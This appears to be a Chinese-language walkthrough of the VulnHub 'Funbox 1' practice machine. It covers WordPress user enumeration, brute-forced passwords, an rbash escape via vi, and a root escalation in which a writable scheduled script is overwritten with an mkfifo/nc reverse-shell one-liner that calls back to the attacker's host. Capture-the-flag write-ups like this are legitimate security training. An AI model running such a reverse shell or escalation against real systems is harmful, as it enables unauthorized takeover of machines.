靶机描述
博客地址 http://blog.yutian233.xyz/
Boot2Root ! This is a reallife szenario, but easy going. You have to enumerate and understand the szenario to get the root-flag in round about 20min.
This VM is created/tested with Virtualbox. Maybe it works with vmware.
If you need hints, call me on twitter: @0815R2d2
Have fun...
This works better with VirtualBox rather than VMware
https://www.vulnhub.com/entry/funbox-1,518/
清单
-
信息搜集
-
WordPress
-
wpscan 得到密码
-
-
提权
- rbash 逃逸
- 权限开放的.sh
主机发现
信息搜集
nmap -A -p- 192.168.0.108
网站由Wordpress搭建
扫描用户
wpscan --url http://funbox.fritz.box/ --enumerate u
有两个用户:admin、joe
对用户爆破密码
admin iubire
joe 1234
joe用户
使用 ssh连接 shell
可以看到是一个受限的shell
逃逸方法
vi
:set shell=/bin/bash
:shell
即可获得正常的shell
来到用户 funny的目录
输入命令
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.109 2345 >/tmp/f” > .backup.sh
将 .backup.sh的内容覆盖为 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.109 2345 >/tmp/f
输入之前在kali开启监听端口 2345
等待 5 分钟
获得root